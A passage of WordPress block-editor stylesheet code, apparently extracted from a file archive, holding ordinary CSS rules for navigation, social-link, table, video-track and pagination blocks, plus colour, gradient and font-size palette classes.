!important; } .wp-block-media-text.is-image-fill .editor-media-container__resizer { height: 100% !important; } .wp-block-media-text > .block-editor-block-list__layout > .block-editor-block-list__block { max-width: unset; } .block-editor-block-list__block[data-type="core/more"] { max-width: 100%; text-align: center; margin-top: 28px; margin-bottom: 28px; } .wp-block-more { display: block; text-align: center; white-space: nowrap; } .wp-block-more input[type=text] { position: relative; font-size: 13px; text-transform: uppercase; font-weight: 600; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: #757575; border: none; box-shadow: none; white-space: nowrap; text-align: center; margin: 0; border-radius: 4px; background: #fff; padding: 6px 8px; height: 24px; max-width: 100%; } .wp-block-more input[type=text]:focus { box-shadow: none; } .wp-block-more::before { content: ""; position: absolute; top: calc(50%); left: 0; right: 0; border-top: 3px dashed #ccc; } .editor-styles-wrapper .wp-block-navigation ul, .editor-styles-wrapper .wp-block-navigation ol { margin-bottom: 0; margin-left: 0; padding-left: 0; } .editor-styles-wrapper .wp-block-navigation .block-editor-block-list__block { margin: 0; } .wp-block-navigation .block-list-appender { display: inline-flex; -ms-grid-row-align: center; align-self: center; width: 24px; height: 24px; } .wp-block-navigation.is-vertical .block-list-appender { margin: 8px; } .wp-block-navigation__inserter-content { padding: 16px; } .wp-block-navigation__container { min-height: 44px; } .wp-block-navigation__container.is-parent-of-selected-block { visibility: visible; opacity: 1; } .has-child > .wp-block-navigation__container, .has-child:hover > .wp-block-navigation__container { opacity: 0; visibility: hidden; } .has-child.is-selected > .wp-block-navigation__container, .has-child.has-child-selected > .wp-block-navigation__container, .is-dragging-components-draggable .has-child.is-dragging-within > .wp-block-navigation__container { opacity: 1; visibility: visible; } .is-dragging-components-draggable .wp-block-navigation-link > .wp-block-navigation__container { opacity: 1; visibility: hidden; } .is-dragging-components-draggable .wp-block-navigation-link > .wp-block-navigation__container .block-editor-block-draggable-chip-wrapper { visibility: visible; } /** * Colors Selector component */ .block-library-colors-selector { width: auto; } .block-library-colors-selector .block-library-colors-selector__toggle { display: block; margin: 0 auto; padding: 3px; width: auto; } .block-library-colors-selector .block-library-colors-selector__icon-container { height: 30px; position: relative; margin: 0 auto; padding: 3px; display: flex; align-items: center; border-radius: 4px; } .block-library-colors-selector .block-library-colors-selector__state-selection { margin-left: auto; margin-right: auto; border-radius: 11px; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2); width: 22px; min-width: 22px; height: 22px; min-height: 22px; line-height: 20px; padding: 2px; } .block-library-colors-selector .block-library-colors-selector__state-selection > svg { min-width: auto !important; } .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color > svg, .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color > svg path { color: inherit; } .block-library-colors-selector__popover .color-palette-controller-container { padding: 16px; } .block-library-colors-selector__popover .components-base-control__label { height: 20px; line-height: 20px; } .block-library-colors-selector__popover .component-color-indicator { float: right; margin-top: 2px; } .block-library-colors-selector__popover .components-panel__body-title { display: none; } .is-editing > .wp-block-navigation__container { visibility: visible; opacity: 1; display: flex; flex-direction: column; } .wp-block-navigation-placeholder { min-height: 44px; } .wp-block-navigation-placeholder .components-spinner { margin-top: -4px; margin-left: 4px; vertical-align: middle; margin-right: 7px; } .wp-block-navigation-placeholder .components-custom-select-control__button { height: auto; padding: 0.375rem 0.75rem 0.375rem 1.5rem; min-width: 13.75rem; } .wp-block-navigation-placeholder .components-custom-select-control.has-menus .components-custom-select-control__item.is-create-empty-option { position: relative; margin-top: 20px; } .wp-block-navigation-placeholder .components-custom-select-control.has-menus .components-custom-select-control__item.is-create-empty-option::before { content: ""; position: absolute; top: -10px; left: 25px; right: 25px; height: 15px; border-top: 1px solid #757575; } .wp-block-navigation-placeholder .components-custom-select-control__label { margin-bottom: 1rem; font-size: 13px; font-weight: normal; } .wp-block-navigation-placeholder .components-custom-select-control__menu { margin: 0; max-height: none; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; } .wp-block-navigation .block-editor-button-block-appender { justify-content: flex-start; } /** * Setup state */ .wp-block-navigation-placeholder__preview { position: absolute; top: 0; right: 0; bottom: 0; left: 0; display: flex; flex-direction: row; align-items: center; transition: all 0.1s ease-in-out; } @media (prefers-reduced-motion: reduce) { .wp-block-navigation-placeholder__preview { transition-duration: 0s; } } .wp-block-navigation-placeholder__preview .wp-block-navigation-link.wp-block-navigation-link { border-radius: 2px; background: currentColor; min-width: 72px; height: 16px; margin: 12px 24px 12px 0; } .wp-block-navigation-placeholder__preview .wp-block-navigation-link.wp-block-navigation-link, .wp-block-navigation-placeholder__preview svg { opacity: 0.3; } .is-selected .wp-block-navigation-placeholder__preview { opacity: 0.2; } .wp-block-navigation-placeholder__controls { padding: 4px 8px; border-radius: 2px; background-color: #fff; box-shadow: inset 0 0 0 1px #1e1e1e; flex-direction: row; align-items: center; display: none; position: relative; z-index: 1; } .is-selected .wp-block-navigation-placeholder__controls { display: flex; } .is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions { flex-direction: column; } .is-selected.is-vertical .wp-block-navigation-placeholder__controls { display: inline-flex; } .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon { margin-right: 12px; height: 36px; } .is-vertical .wp-block-navigation-placeholder, .is-vertical .wp-block-navigation-placeholder__preview, .is-vertical .wp-block-navigation-placeholder__controls { min-height: 156px; } .is-vertical .wp-block-navigation-placeholder__preview, .is-vertical .wp-block-navigation-placeholder__controls { flex-direction: column; align-items: flex-start; } .wp-block-navigation-placeholder__actions { display: flex; font-size: 13px; } .wp-block-navigation-placeholder__actions .components-button.components-dropdown-menu__toggle.has-icon { padding: 6px 12px; display: flex; flex-direction: row-reverse; } .wp-block-navigation-link__field .components-text-control__input.components-text-control__input, .wp-block-navigation-link__container { border-radius: 0; line-height: 36px; min-height: 36px; } /** * Adjust Navigation Item. */ .wp-block-navigation-link .block-editor-block-list__layout { display: block; } .wp-block-navigation-link.is-editing, .wp-block-navigation-link.is-selected { min-width: 20px; } .wp-block-navigation-link .block-editor-rich-text__editable.is-selected:not(.keep-placeholder-on-focus):not(:focus)[data-rich-text-placeholder]::after { display: inline-block; } .wp-block-navigation-link .block-list-appender { margin: 16px; margin-left: 10px; margin-top: 10px; } .wp-block-navigation-link__separator { margin: 8px 0 8px; border-top: 1px solid #ddd; } .components-popover.wp-block-navigation-link__dropdown-content { margin-top: -1px; margin-left: -4px; } .wp-block-navigation-link__dropdown-content .components-popover__content > div { padding: 8px 0; } .wp-block-navigation .block-editor-block-list__block[data-type="core/navigation-link"] > .block-editor-block-list__insertion-point { display: none; } .block-editor-block-list__block[data-type="core/nextpage"] { max-width: 100%; text-align: center; margin-top: 28px; margin-bottom: 28px; } .wp-block-nextpage { display: block; text-align: center; white-space: nowrap; } .wp-block-nextpage > span { font-size: 13px; position: relative; text-transform: uppercase; font-weight: 600; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: #757575; border-radius: 4px; background: #fff; padding: 6px 8px; height: 24px; } .wp-block-nextpage::before { content: ""; position: absolute; top: calc(50%); left: 0; right: 0; border-top: 3px dashed #ccc; } .block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus { min-height: auto !important; } .wp-block-post-content__placeholder { height: 100px; border: 1px dashed; display: flex; justify-content: center; align-items: center; } .wp-block-post-content__placeholder span { font-style: italic; } .wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline { display: inline-block; } .wp-block-post-author { display: flex; flex-wrap: wrap; } .wp-block-post-author .wp-block-post-author__byline { font-size: 0.5em; margin-top: 0; position: relative; font-style: normal; } .wp-block-post-author .wp-block-post-author__content { flex-grow: 1; flex-basis: 0; } .wp-block-post-author .wp-block-post-author__avatar img { margin: 0; } .wp-block-post-author .wp-block-post-author__avatar { margin-bottom: -8px; } .wp-block-post-author .wp-block-post-author__name { margin: 0; font-weight: bold; } .wp-block-post-author .wp-block-post-author__bio { margin: 0 0 8px; font-size: 0.7em; } .wp-block[data-align=left] > .wp-block-pullquote p, .wp-block[data-align=right] > .wp-block-pullquote p { font-size: 20px; } .wp-block-pullquote blockquote p { font-size: 28px; line-height: 1.6; } .wp-block-pullquote.is-style-solid-color blockquote p { font-size: 32px; } .wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation { text-transform: none; font-style: normal; } .wp-block-pullquote .wp-block-pullquote__citation { color: inherit; } .wp-block-quote__citation { font-size: 13px; } .wp-block-rss li a > div { display: inline; } .wp-block-rss__placeholder-form { display: flex; align-items: stretch; } .wp-block-rss__placeholder-form > * { margin-bottom: 8px; } @media (min-width: 782px) { .wp-block-rss__placeholder-form > * { margin-bottom: 0; } } .wp-block-rss__placeholder-input { display: flex; align-items: stretch; flex-grow: 1; } .wp-block-rss__placeholder-input .components-base-control__field { margin: 0; display: flex; align-items: stretch; flex-grow: 1; margin-right: 8px; } .wp-block-search .wp-block-search__input { padding: 8px; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper { padding: 4px; } .wp-block-search .wp-block-search__button { height: auto; border-radius: initial; } .wp-block-search .wp-block-search__button.wp-block-search__button.wp-block-search__button { padding: 6px 10px; } .wp-block-search__components-button-group { margin-top: 10px; } .block-editor-block-list__block[data-type="core/separator"] { padding-top: 0.1px; padding-bottom: 0.1px; } [data-type="core/shortcode"] .block-editor-plain-text { max-height: 250px; } [data-type="core/shortcode"].components-placeholder { min-height: 0; } .blocks-shortcode__textarea { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; } @media (prefers-reduced-motion: reduce) { .blocks-shortcode__textarea { transition-duration: 0s; } } @media (min-width: 600px) { .blocks-shortcode__textarea { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .blocks-shortcode__textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .blocks-shortcode__textarea::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .blocks-shortcode__textarea::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .blocks-shortcode__textarea:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .blocks-shortcode__textarea::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .blocks-shortcode__textarea::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .blocks-shortcode__textarea:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .wp-block[data-align=center] > .wp-block-site-logo { margin-left: auto; margin-right: auto; text-align: center; } .wp-block-site-logo.is-resized { display: table; } .wp-block-site-logo .custom-logo-link { cursor: inherit; } .wp-block-site-logo .custom-logo-link:focus { box-shadow: none; } .wp-block-site-logo .custom-logo-link.is-transient img { opacity: 0.3; } .wp-block-site-logo img { display: block; max-width: 100%; } .wp-block-social-links .wp-social-link { line-height: 0; } .wp-block-social-links .wp-social-link button { font-size: inherit; color: currentColor; height: auto; line-height: 0; padding: 0.25em; } .wp-block-social-links.is-style-pill-shape .wp-social-link button { padding-left: calc((2/3) * 1em); padding-right: calc((2/3) * 1em); } .wp-block-social-links div.block-editor-url-input { display: inline-block; margin-left: 8px; } .wp-social-link:hover { transform: none; } .editor-styles-wrapper .wp-block-social-links { padding: 0; } .wp-block-social-links__social-placeholder { display: flex; opacity: 0.8; transition: all 0.1s ease-in-out; } @media (prefers-reduced-motion: reduce) { .wp-block-social-links__social-placeholder { transition-duration: 0s; } } .is-selected .wp-block-social-links__social-placeholder { opacity: 0.1; } .wp-block-social-links__social-placeholder > .wp-social-link { padding-left: 0 !important; margin-left: 0 !important; padding-right: 0 !important; margin-right: 0 !important; width: 0 !important; visibility: hidden; } .wp-block-social-links__social-placeholder > .wp-block-social-links__social-placeholder-icons { display: flex; position: absolute; } .wp-block-social-links__social-placeholder + .block-list-appender, .wp-block-social-links__social-placeholder .wp-social-link { padding: 0.25em; } .is-style-pill-shape .wp-block-social-links__social-placeholder + .block-list-appender, .is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link { padding-left: calc((2/3) * 1em); padding-right: calc((2/3) * 1em); } .wp-block-social-links__social-placeholder .wp-social-link::before { content: ""; display: block; width: 1em; height: 1em; border-radius: 50%; } .is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link::before { background: currentColor; } .wp-block-social-links .block-list-appender { display: flex; align-items: center; justify-content: center; margin: 0; } .wp-block-social-links .block-list-appender::before { content: ""; display: block; width: 1em; height: 1em; } .wp-block-social-links .block-list-appender .block-editor-inserter { position: absolute; } .wp-block-social-links .block-list-appender .block-editor-button-block-appender.block-list-appender__toggle { margin: 0; } .wp-block-social-links.is-style-logos-only .block-list-appender { padding: 4px; } .wp-block[data-align=center] > .wp-block-social-links { justify-content: center; } .block-editor-block-preview__content .components-button:disabled { opacity: 1; } .wp-social-link.wp-social-link__is-incomplete { opacity: 0.5; } @media (prefers-reduced-motion: reduce) { .wp-social-link.wp-social-link__is-incomplete { transition-duration: 0s; } } .wp-block-social-links .is-selected .wp-social-link__is-incomplete, .wp-social-link.wp-social-link__is-incomplete:hover, .wp-social-link.wp-social-link__is-incomplete:focus { opacity: 1; } [data-type="core/social-links"] .wp-social-link:focus { opacity: 1; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .block-editor-block-list__block[data-type="core/spacer"]::before { content: ""; display: block; position: absolute; width: 100%; height: 24px; transform: translateY(-12px); } .wp-block-spacer.is-hovered .block-library-spacer__resize-container, .block-library-spacer__resize-container.has-show-handle { background: rgba(0, 0, 0, 0.1); } .is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container, .is-dark-theme .block-library-spacer__resize-container.has-show-handle { background: rgba(255, 255, 255, 0.15); } .block-library-spacer__resize-container { clear: both; margin-bottom: 28px; } .block-library-spacer__resize-container .components-resizable-box__handle::before { content: none; } .edit-post-visual-editor p.wp-block-subhead { color: #555; font-size: 1.1em; font-style: italic; } .wp-block-table { margin: 0; } .wp-block[data-align=left] > .wp-block-table, .wp-block[data-align=right] > .wp-block-table, .wp-block[data-align=center] > .wp-block-table { height: auto; } .wp-block[data-align=left] > .wp-block-table table, .wp-block[data-align=right] > .wp-block-table table, .wp-block[data-align=center] > .wp-block-table table { width: auto; } .wp-block[data-align=left] > .wp-block-table td, .wp-block[data-align=left] > .wp-block-table th, .wp-block[data-align=right] > .wp-block-table td, .wp-block[data-align=right] > .wp-block-table th, .wp-block[data-align=center] > .wp-block-table td, .wp-block[data-align=center] > .wp-block-table th { word-break: break-word; } .wp-block[data-align=center] > .wp-block-table { text-align: initial; } .wp-block[data-align=center] > .wp-block-table table { margin: 0 auto; } .wp-block-table table { border-collapse: collapse; } .wp-block-table td, .wp-block-table th { border: 1px solid; } .wp-block-table td.is-selected, .wp-block-table th.is-selected { border-color: var(--wp-admin-theme-color); box-shadow: inset 0 0 0 1px var(--wp-admin-theme-color); border-style: double; } .wp-block-table figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-table figcaption { color: rgba(255, 255, 255, 0.65); } .blocks-table__placeholder-form.blocks-table__placeholder-form { display: flex; flex-direction: column; align-items: flex-start; } .blocks-table__placeholder-form.blocks-table__placeholder-form > * { margin-bottom: 8px; } @media (min-width: 782px) { .blocks-table__placeholder-form.blocks-table__placeholder-form { flex-direction: row; align-items: flex-end; } .blocks-table__placeholder-form.blocks-table__placeholder-form > * { margin-bottom: 0; } } .blocks-table__placeholder-input { width: 112px; margin-right: 8px; margin-bottom: 0; } .blocks-table__placeholder-input input { height: 36px; } .blocks-table__placeholder-input .components-base-control__field { margin-bottom: 0; } .wp-block-tag-cloud a { display: inline-block; margin-right: 5px; } .wp-block-tag-cloud span { display: inline-block; margin-left: 5px; color: #757575; text-decoration: none; } .wp-block-template-part__placeholder-preview-dropdown-content .components-popover__content, .wp-block-template-part__preview-dropdown-content .components-popover__content { min-width: 320px; padding: 0; } .wp-block-template-part__selection-preview-search-form { border-bottom: 1px solid #ddd; } .wp-block-template-part__selection-preview-container { background: #fff; padding-bottom: 16px; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item { border-radius: 2px; cursor: pointer; margin-top: 16px; transition: all 0.05s ease-in-out; border: 1px solid transparent; width: 100%; background-color: #fff; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item:hover { border: 1px solid var(--wp-admin-theme-color); } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item:focus { box-shadow: inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item.is-placeholder { min-height: 100px; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item-title { padding: 4px; font-size: 12px; text-align: left; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-panel-group-header { padding: 16px 16px 0; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-panel-group-content { padding: 0 16px; } .wp-block-template-part__selection-preview-container .wp-block-template-part__selection-panel-group-title { color: var(--wp-admin-theme-color); text-transform: uppercase; font-size: 11px; font-weight: 500; } .wp-block-template-part__block-control-group { display: flex; } .wp-block-template-part__block-control-group .wp-block-template-part__name-panel { outline: 1px solid transparent; padding: 8px 0 8px 12px; } .wp-block-template-part__block-control-group .wp-block-template-part__name-panel .components-base-control__field { align-items: center; display: flex; margin-bottom: 0; } .wp-block-template-part__block-control-group .wp-block-template-part__name-panel .components-base-control__label { margin-bottom: 0; margin-right: 8px; } .is-navigate-mode .is-selected .wp-block-template-part__name-panel { box-shadow: 0 0 0 1px var(--wp-admin-theme-color); } .is-dark-theme .is-navigate-mode .is-selected .wp-block-template-part__name-panel { box-shadow: 0 0 0 1px var(--wp-admin-theme-color); } .block-editor-block-list__block[data-type="core/template-part"].is-selected::after, .block-editor-block-list__block[data-type="core/template-part"].has-child-selected::after { top: 1px; bottom: 1px; left: 1px; right: 1px; border-radius: 1px; box-shadow: 0 0 0 1px #1e1e1e; } .wp-block-text-columns .block-editor-rich-text__editable:focus { outline: 1px solid #ddd; } pre.wp-block-verse { color: #1e1e1e; padding: 1em; } .wp-block[data-align=center] > .wp-block-video { text-align: center; } .editor-video-poster-control .components-base-control__label { display: block; } .editor-video-poster-control .components-button { margin-right: 8px; } .block-library-video-tracks-editor { z-index: 159990; } .block-library-video-tracks-editor > .components-popover__content { width: 360px; } .block-library-video-tracks-editor__track-list-track { display: flex; place-content: space-between; align-items: baseline; padding-left: 12px; } .block-library-video-tracks-editor__single-track-editor-label-language { display: flex; margin-top: 12px; } .block-library-video-tracks-editor__single-track-editor-label-language > .components-base-control { width: 50%; } .block-library-video-tracks-editor__single-track-editor-label-language > .components-base-control:first-child { margin-right: 16px; } .block-library-video-tracks-editor__single-track-editor-kind-select { max-width: 240px; } .block-library-video-tracks-editor__single-track-editor-buttons-container { display: flex; place-content: space-between; margin-top: 32px; } .block-library-video-tracks-editor__single-track-editor-edit-track-label { margin-top: 4px; margin-bottom: 12px; color: #757575; text-transform: uppercase; font-size: 11px; font-weight: 500; display: block; } .block-library-video-tracks-editor > .components-popover__content > div { padding: 0; } .block-library-video-tracks-editor__track-list .components-menu-group__label, .block-library-video-tracks-editor__add-tracks-container .components-menu-group__label { padding: 0; } .block-library-video-tracks-editor__single-track-editor, .block-library-video-tracks-editor__track-list, .block-library-video-tracks-editor__add-tracks-container { padding: 12px; } .block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__label { margin-bottom: 4px; } .block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__field { margin-bottom: 12px; } .block-library-video-tracks-editor__single-track-editor .components-base-control .components-text-control__input { margin-left: 0; } .block-library-video-tracks-editor__single-track-editor .components-base-control .components-input-control__label { margin-bottom: 4px; } .wp-block.wp-block-query-loop { max-width: 100%; padding-left: 0; list-style: none; } .editor-styles-wrapper .wp-block.wp-block-query { max-width: 100%; } .block-library-query-toolbar__popover .components-popover__content { min-width: 230px; } .wp-block-query__create-new-link { padding: 0 16px 16px 56px; } .wp-block > .wp-block-query-pagination { display: flex; flex-wrap: wrap; flex-direction: row; } .editor-styles-wrapper .wp-block-query-pagination { max-width: 100%; } .editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout { margin: 0; } .block-library-query-pagination-toolbar__popover .components-popover__content { min-width: 230px; } .wp-block-query-pagination > .wp-block-query-pagination-next, .wp-block-query-pagination > .wp-block-query-pagination-previous, .wp-block-query-pagination > .wp-block-query-pagination-numbers { display: inline-block; margin-left: 0; margin-top: 0.5em; /*rtl:ignore*/ margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-query-pagination > .wp-block-query-pagination-next:last-child, .wp-block-query-pagination > .wp-block-query-pagination-previous:last-child, .wp-block-query-pagination > .wp-block-query-pagination-numbers:last-child { /*rtl:ignore*/ margin-right: 0; } .wp-block-query-pagination-numbers a { text-decoration: underline; } .wp-block-query-pagination-numbers .page-numbers { margin-right: 2px; } .wp-block-query-pagination-numbers .page-numbers:last-child { /*rtl:ignore*/ margin-right: 0; } div[data-type="core/post-featured-image"] img { max-width: 100%; height: auto; display: block; } .editor-styles-wrapper .post-featured-image_placeholder { display: flex; flex-direction: row; align-items: flex-start; border-radius: 2px; background-color: #fff; box-shadow: inset 0 0 0 1px #1e1e1e; padding: 12px; } .editor-styles-wrapper .post-featured-image_placeholder svg { margin-right: 12px; } .editor-styles-wrapper .post-featured-image_placeholder p { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; margin: 0; } :root .editor-styles-wrapper { /* stylelint-disable function-comma-space-after */ /* stylelint-enable function-comma-space-after */ } :root .editor-styles-wrapper .has-pale-pink-background-color { background-color: #f78da7; } :root .editor-styles-wrapper .has-vivid-red-background-color { background-color: #cf2e2e; } :root .editor-styles-wrapper .has-luminous-vivid-orange-background-color { background-color: #ff6900; } :root .editor-styles-wrapper .has-luminous-vivid-amber-background-color { background-color: #fcb900; } :root .editor-styles-wrapper .has-light-green-cyan-background-color { background-color: #7bdcb5; } :root .editor-styles-wrapper .has-vivid-green-cyan-background-color { background-color: #00d084; } :root .editor-styles-wrapper .has-pale-cyan-blue-background-color { background-color: #8ed1fc; } :root .editor-styles-wrapper .has-vivid-cyan-blue-background-color { background-color: #0693e3; } :root .editor-styles-wrapper .has-vivid-purple-background-color { background-color: #9b51e0; } :root .editor-styles-wrapper .has-white-background-color { background-color: #fff; } :root .editor-styles-wrapper .has-very-light-gray-background-color { background-color: #eee; } :root .editor-styles-wrapper .has-cyan-bluish-gray-background-color { background-color: #abb8c3; } :root .editor-styles-wrapper .has-very-dark-gray-background-color { background-color: #313131; } :root .editor-styles-wrapper .has-black-background-color { background-color: #000; } :root .editor-styles-wrapper .has-pale-pink-color { color: #f78da7; } :root .editor-styles-wrapper .has-vivid-red-color { color: #cf2e2e; } :root .editor-styles-wrapper .has-luminous-vivid-orange-color { color: #ff6900; } :root .editor-styles-wrapper .has-luminous-vivid-amber-color { color: #fcb900; } :root .editor-styles-wrapper .has-light-green-cyan-color { color: #7bdcb5; } :root .editor-styles-wrapper .has-vivid-green-cyan-color { color: #00d084; } :root .editor-styles-wrapper .has-pale-cyan-blue-color { color: #8ed1fc; } :root .editor-styles-wrapper .has-vivid-cyan-blue-color { color: #0693e3; } :root .editor-styles-wrapper .has-vivid-purple-color { color: #9b51e0; } :root .editor-styles-wrapper .has-white-color { color: #fff; } :root .editor-styles-wrapper .has-very-light-gray-color { color: #eee; } :root .editor-styles-wrapper .has-cyan-bluish-gray-color { color: #abb8c3; } :root .editor-styles-wrapper .has-very-dark-gray-color { color: #313131; } :root .editor-styles-wrapper .has-black-color { color: #000; } :root .editor-styles-wrapper .has-vivid-cyan-blue-to-vivid-purple-gradient-background { background: linear-gradient(135deg, #0693e3 0%, #9b51e0 100%); } :root .editor-styles-wrapper .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background { background: linear-gradient(135deg, #00d084 0%, #0693e3 100%); } :root .editor-styles-wrapper .has-light-green-cyan-to-vivid-green-cyan-gradient-background { background: linear-gradient(135deg, #7adcb4 0%, #00d082 100%); } :root .editor-styles-wrapper .has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background { background: linear-gradient(135deg, #fcb900 0%, #ff6900 100%); } :root .editor-styles-wrapper .has-luminous-vivid-orange-to-vivid-red-gradient-background { background: linear-gradient(135deg, #ff6900 0%, #cf2e2e 100%); } :root .editor-styles-wrapper .has-very-light-gray-to-cyan-bluish-gray-gradient-background { background: linear-gradient(135deg, #eeeeee 0%, #a9b8c3 100%); } :root .editor-styles-wrapper .has-cool-to-warm-spectrum-gradient-background { background: linear-gradient(135deg, #4aeadc 0%, #9778d1 20%, #cf2aba 40%, #ee2c82 60%, #fb6962 80%, #fef84c 100%); } :root .editor-styles-wrapper .has-blush-light-purple-gradient-background { background: linear-gradient(135deg, #ffceec 0%, #9896f0 100%); } :root .editor-styles-wrapper .has-blush-bordeaux-gradient-background { background: linear-gradient(135deg, #fecda5 0%, #fe2d2d 50%, #6b003e 100%); } :root .editor-styles-wrapper .has-purple-crush-gradient-background { background: linear-gradient(135deg, #34e2e4 0%, #4721fb 50%, #ab1dfe 100%); } :root .editor-styles-wrapper .has-luminous-dusk-gradient-background { background: linear-gradient(135deg, #ffcb70 0%, #c751c0 50%, #4158d0 100%); } :root .editor-styles-wrapper .has-hazy-dawn-gradient-background { background: linear-gradient(135deg, #faaca8 0%, #dad0ec 100%); } :root .editor-styles-wrapper .has-pale-ocean-gradient-background { background: linear-gradient(135deg, #fff5cb 0%, #b6e3d4 50%, #33a7b5 100%); } :root .editor-styles-wrapper .has-electric-grass-gradient-background { background: linear-gradient(135deg, #caf880 0%, #71ce7e 100%); } :root .editor-styles-wrapper .has-subdued-olive-gradient-background { background: linear-gradient(135deg, #fafae1 0%, #67a671 100%); } :root .editor-styles-wrapper .has-atomic-cream-gradient-background { background: linear-gradient(135deg, #fdd79a 0%, #004a59 100%); } :root .editor-styles-wrapper .has-nightshade-gradient-background { background: linear-gradient(135deg, #330968 0%, #31cdcf 100%); } :root .editor-styles-wrapper .has-midnight-gradient-background { background: linear-gradient(135deg, #020381 0%, #2874fc 100%); } .editor-styles-wrapper .has-small-font-size { font-size: 13px; } .editor-styles-wrapper .has-regular-font-size, .editor-styles-wrapper .has-normal-font-size { font-size: 16px; } .editor-styles-wrapper .has-medium-font-size { font-size: 20px; } .editor-styles-wrapper .has-large-font-size { font-size: 36px; } .editor-styles-wrapper .has-larger-font-size, .editor-styles-wrapper .has-huge-font-size { font-size: 42px; } /** * Editor Normalization Styles * * These are only output in the editor, but styles here are NOT prefixed .editor-styles-wrapper. * This allows us to create normalization styles that are easily overridden by editor styles. */ .block-editor-block-list__block { margin-top: 28px; margin-bottom: 28px; } #end-resizable-editor-section { display: none; }css/dist/block-library/editor.min.css000064400000143473151202620300013620 0ustar00#start-resizable-editor-section{display:none}ul.wp-block-archives{padding-left:2.5em}.wp-block-audio{margin-left:0;margin-right:0}.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{padding-left:0;padding-right:0}.edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{display:block}.edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{display:none}.wp-block[data-align=center]>.wp-block-button{text-align:center;margin-left:auto;margin-right:auto}.wp-block[data-align=right]>.wp-block-button{ /*!rtl:ignore*/text-align:right}.wp-block-button{position:relative;cursor:text}.wp-block-button:not(.has-text-color):not(.is-style-outline) [data-rich-text-placeholder]:after{color:#fff}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid transparent;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}.wp-block-button__inline-link{color:#757575;height:0;overflow:hidden;max-width:290px}.wp-block-button__inline-link-input__suggestions{max-width:290px}@media (min-width:782px){.wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{max-width:260px}}@media (min-width:960px){.wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{max-width:290px}}.is-selected .wp-block-button__inline-link{height:auto;overflow:visible;margin-top:16px}.wp-button-label__width .components-button-group{display:block}.wp-button-label__width .components-base-control__field{margin-bottom:12px}div[data-type="core/button"]{display:table}.wp-block>.wp-block-buttons{display:flex;flex-wrap:wrap}.wp-block-buttons>.wp-block{margin-left:0;margin-top:.5em;margin-right:.5em}.wp-block-buttons>.block-list-appender{display:inline-flex;align-items:center}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] 